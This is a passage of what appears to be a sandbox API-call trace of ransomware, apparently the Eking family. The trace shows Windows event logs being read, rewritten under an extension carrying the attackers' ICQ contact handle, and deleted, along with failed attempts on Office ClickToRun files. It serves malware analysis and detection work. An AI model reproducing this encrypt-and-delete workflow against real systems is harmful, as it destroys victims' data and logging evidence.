"c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0228.204] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0228.205] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0228.205] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0228.205] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0228.205] ReadFile (in: hFile=0x364, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0228.630] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0228.633] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0228.633] CloseHandle (hObject=0x364) returned 1 [0228.634] CloseHandle (hObject=0x374) returned 1 [0228.637] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0228.639] SetEvent (hEvent=0x2b8) returned 1 [0228.640] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0228.641] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1052672) returned 1 [0228.641] CloseHandle (hObject=0x374) returned 1 [0228.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0228.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0228.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0228.641] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0228.641] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0228.642] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0228.642] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x364 [0228.642] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x101000, lpOverlapped=0x0) returned 1 [0229.058] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x101010, lpOverlapped=0x0) returned 1 [0229.430] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0229.430] CloseHandle (hObject=0x374) returned 1 [0229.430] CloseHandle (hObject=0x364) returned 1 [0229.802] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0229.804] SetEvent (hEvent=0x2b8) returned 1 [0229.805] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0229.805] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0229.805] CloseHandle (hObject=0x364) returned 1 [0229.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0229.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0229.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\setup.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0229.806] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0229.806] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0229.806] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0229.806] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\setup.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0229.807] ReadFile (in: hFile=0x364, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0229.811] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0229.815] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0229.815] CloseHandle (hObject=0x364) returned 1 [0229.815] CloseHandle (hObject=0x358) returned 1 [0229.828] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0229.830] SetEvent (hEvent=0x2b8) returned 1 [0229.830] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0229.832] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1118208) returned 1 [0229.832] CloseHandle (hObject=0x358) returned 1 [0229.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0229.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0229.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\System.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\system.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0229.833] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0229.833] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0229.833] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0229.833] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\system.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x364 [0229.833] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x110100, lpOverlapped=0x0) returned 1 [0230.249] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x110100, lpOverlapped=0x0) returned 1 [0230.474] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xf00, lpOverlapped=0x0) returned 1 [0230.474] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf10, lpOverlapped=0x0) returned 1 [0230.475] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0230.475] CloseHandle (hObject=0x358) returned 1 [0230.475] CloseHandle (hObject=0x364) returned 1 [0230.692] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0230.694] SetEvent (hEvent=0x2b8) returned 1 [0230.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0230.695] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=61024) returned 1 [0230.695] CloseHandle (hObject=0x364) returned 1 [0230.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0230.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0230.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.695] SetEvent (hEvent=0x2b8) returned 1 [0230.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.699] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=660136) returned 1 [0230.699] CloseHandle (hObject=0x37c) returned 1 [0230.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0230.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0230.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.699] SetEvent (hEvent=0x2b8) returned 1 [0230.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.700] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=635040) returned 1 [0230.700] CloseHandle (hObject=0x37c) returned 1 [0230.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0230.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0230.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.701] SetEvent (hEvent=0x2b8) returned 1 [0230.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.704] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=963240) returned 1 [0230.704] CloseHandle (hObject=0x378) returned 1 [0230.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0230.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0230.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.704] SetEvent (hEvent=0x2b8) returned 1 [0230.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.706] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5967976) returned 1 [0230.706] CloseHandle (hObject=0x378) returned 1 [0230.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0230.706] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0230.707] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0 [0230.707] SetEvent (hEvent=0x2b8) returned 1 [0230.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.707] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=996568) returned 1 [0230.707] CloseHandle (hObject=0x378) returned 1 [0230.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0230.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0230.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.709] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2776664) returned 1 [0230.709] CloseHandle (hObject=0x378) returned 1 [0230.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0230.709] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0230.709] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0 [0230.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0230.711] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4782) returned 1 [0230.711] CloseHandle (hObject=0x360) returned 1 [0230.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0230.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0230.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.712] SetEvent (hEvent=0x2b8) returned 1 [0230.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 